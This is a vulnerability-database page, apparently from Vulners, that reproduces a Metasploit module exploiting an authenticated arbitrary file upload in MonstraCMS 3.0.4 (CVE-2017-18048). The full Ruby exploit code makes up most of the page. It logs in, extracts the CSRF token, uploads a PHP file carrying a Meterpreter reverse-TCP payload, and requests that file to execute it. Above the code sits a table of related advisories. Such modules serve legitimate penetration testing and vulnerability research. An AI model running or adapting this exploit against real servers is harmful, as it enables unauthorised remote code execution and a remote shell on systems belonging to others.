Lucene search
K

MonstraCMS Authenticated Arbitrary File Upload Exploit

🗓️ 12 Jul 2018 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 78 Views

MonstraCMS 3.0.4 allows arbitrary file upload leading to remote command execution with PHP code

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Monstra CMS 3.0.4 - Remote Code Execution (Authenticated) Exploit
4 Jun 202100:00
zdt
Circl
CVE-2017-18048
10 Jul 201819:43
circl
CNVD
Monstra CMS Arbitrary File Upload Vulnerability
23 Jan 201800:00
cnvd
CVE
CVE-2017-18048
23 Jan 201806:00
cve
Cvelist
CVE-2017-18048
23 Jan 201806:00
cvelist
Exploit DB
Monstra CMS - Remote Code Execution
6 Dec 201700:00
exploitdb
NVD
CVE-2017-18048
23 Jan 201806:29
nvd
Packet Storm
Monstra CMS Authenticated Arbitrary File Upload
11 Jul 201800:00
packetstorm
Packet Storm
Monstra CMS 3.0.4 Remote Code Execution
4 Jun 202100:00
packetstorm
Prion
Command injection
23 Jan 201806:29
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Monstra CMS Authenticated Arbitrary File Upload',
      'Description' => %q{
         MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.
         An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
         This module was tested against MonstraCMS 3.0.4.
       },

      'Author' =>
        [
          'Ishaq Mohammed <[email protected]>', # Discoverer & Proof of Concept
          'Touhid M.Shaikh <touhidshaikh22[email protected]>', # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE','2017-18048'],
          ['EDB','43348'],
          ['URL','https://blogs.securiteam.com/index.php/archives/3559'],
          ['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
          ['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
        ],
       'DefaultOptions' =>
          {
            'PAYLOAD' => 'php/meterpreter/reverse_tcp',
            'Encoder' => 'php/base64'
          },
       'Privileged' => false,
       'Platform'   => ['php'],
       'Arch'       => ARCH_PHP,
       'Targets' =>
        [
          ['Monstra CMS 3.0.4', { }],
        ],
       'DefaultTarget'  => 0,
       'DisclosureDate' => 'Dec 18 2017'))

        register_options(
        [
          OptString.new('TARGETURI', [ true, "Base Monstra CMS directory path", '/']),
          OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
          OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
        ])
    end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') })
    rescue
      vprint_error("Unable to access the index.php file")
      return CheckCode::Unknown
    end

    if res and res.code != 200
      vprint_error("Error accessing the index.php file")
      return CheckCode::Unknown
    end

    if res.body =~ /<\/a>.*?Version (\d+\.\d+\.\d+)/i
      version = Gem::Version.new($1)
      vulnVersion = Gem::Version.new('3.0.4')
      vprint_status("Monstra CMS: #{version}")

      if version > vulnVersion
        return CheckCode::Safe
      elsif version == vulnVersion
        return CheckCode::Appears
      elsif version < vulnVersion
        return CheckCode::Detected
      end
    end
  end

  def uri
    target_uri.path
  end

  def login
    res = nil
    vprint_status('Trying to Login ......')
    # Send Creds with cookies.
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'admin', 'index.php'),
      'vars_post' => {
        'login' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'login_submit' => 'Log+In'
      }
    })
    cookies = res.get_cookies

    fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?

    # Try to access index page with authenticated cookie.
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'admin' '/index.php'),
      'cookie' => cookies
    })
    fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?

    # if we redirect to core_welcome then we assume we have authenticated cookie.
    if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
      print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
      store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
      return cookies
    else
      fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
    end
  end

  def exploit
    #Login Function Execute and Return Cookies
    cookies = login

    #Random payload name.
    pay_name = "#{rand_text_alpha(5..10)}.PHP"


    # Payload Gen.
    evilbyte = "<?php #{payload.encoded}; ?>"

    # Request for CSRF token for file upload.
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'admin', '/index.php'),
      'vars_get' => {'id' => 'filesmanager'},
      'method' => 'GET',
      'cookie' => cookies
    })

    # Grabbing CSRF token from body
    /<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
    fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil?
    vprint_good("CSRF-Token for File Upload : #{csrf}")

    # setup POST request.
    post_data = Rex::MIME::Message.new
    post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
    post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"")  # payload
    post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"')  # extra
    data = post_data.to_s

    vprint_status("Trying to upload file #{pay_name} with malicious content....")
    # Lets Send Upload request.
    res = send_request_cgi({
      'uri' => normalize_uri(uri, 'admin', '/index.php'),
      'vars_get' => {'id' => 'filesmanager'},
      'method' => 'POST',
      'cookie' => cookies,
      'Connection' => 'close',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    # Cleanup delete payload after get meterpreter.
    register_files_for_cleanup(pay_name)


    # Execute our payload simply call to payload.
    print_status("Executing Payload " )
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'public', 'uploads', pay_name)
    })

  end
end

#  0day.today [2018-07-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2018 00:00Current
8.9High risk
Vulners AI Score8.9
EPSS0.77014
78